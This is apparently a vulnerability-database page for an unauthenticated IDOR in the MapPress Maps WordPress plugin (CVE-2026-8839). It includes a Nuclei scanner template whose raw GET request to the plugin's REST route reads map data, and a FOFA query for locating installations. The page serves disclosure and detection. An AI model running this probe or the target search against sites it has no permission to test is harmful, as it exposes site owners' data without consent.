/Vulnerability Library

WordPress MapPress Maps <= 2.96.6 - Unauthenticated IDOR

CVE-2026-8839
Verified

Description

MapPress Maps for WordPress <= 2.96.6 contains an authorization bypass caused by missing ownership verification in REST API routes, letting unauthenticated attackers read any map data and authenticated contributors modify any map, exploit requires crafted API requests

Severity

Medium

CVSS Score

5.3

Exploit Probability

1%

Published Date

June 10, 2026

Template Author

0x_akoko

CVE-2026-8839.yaml
id: CVE-2026-8839

info:
  name: WordPress MapPress Maps <= 2.96.6 - Unauthenticated IDOR
  author: 0x_Akoko
  severity: medium
  description: |
    MapPress Maps for WordPress <= 2.96.6 contains an authorization bypass caused by missing ownership verification in REST API routes, letting unauthenticated attackers read any map data and authenticated contributors modify any map, exploit requires crafted API requests
  impact: |
    Unauthenticated attackers can read sensitive map data; authenticated contributors can modify or delete any map, risking data exposure and unauthorized modifications.
  remediation: |
    Update to the latest version beyond 2.96.6.
  reference:
    - https://plugins.trac.wordpress.org/browser/mappress-google-maps-for-wordpress/trunk/mappress_api.php
    - https://nvd.nist.gov/vuln/detail/CVE-2026-8839
    - https://wordpress.org/plugins/mappress-google-maps-for-wordpress/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-8839
    epss-score: 0.00813
    epss-percentile: 0.52979
    cwe-id: CWE-639
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="wp-content/plugins/mappress-google-maps-for-wordpress"
  tags: cve,cve2026,wordpress,wp-plugin,mappress,idor,exposure,wp

http:
  - raw:
      - |
        GET /wp-json/mapp/v1/maps/1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "\"mapid\"", "\"pois\"", "\"center\"")'
        condition: and
# digest: 4a0a0047304502200af197994218387aea6c7d97b562243cc13184ed3314602ce9c8f08a487df9f8022100a9112a13770711668c9c6821399b515d1a2c2baaa8b210445f47e876d772176f:922c64590222798bb761d5b6d8e72950
5.3Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
CVE ID:
cve-2026-8839
CWE ID:
cwe-639

References

https://plugins.trac.wordpress.org/browser/mappress-google-maps-for-wordpress/trunk/mappress_api.phphttps://nvd.nist.gov/vuln/detail/CVE-2026-8839https://wordpress.org/plugins/mappress-google-maps-for-wordpress/

Remediation Steps

Update to the latest version beyond 2.96.6.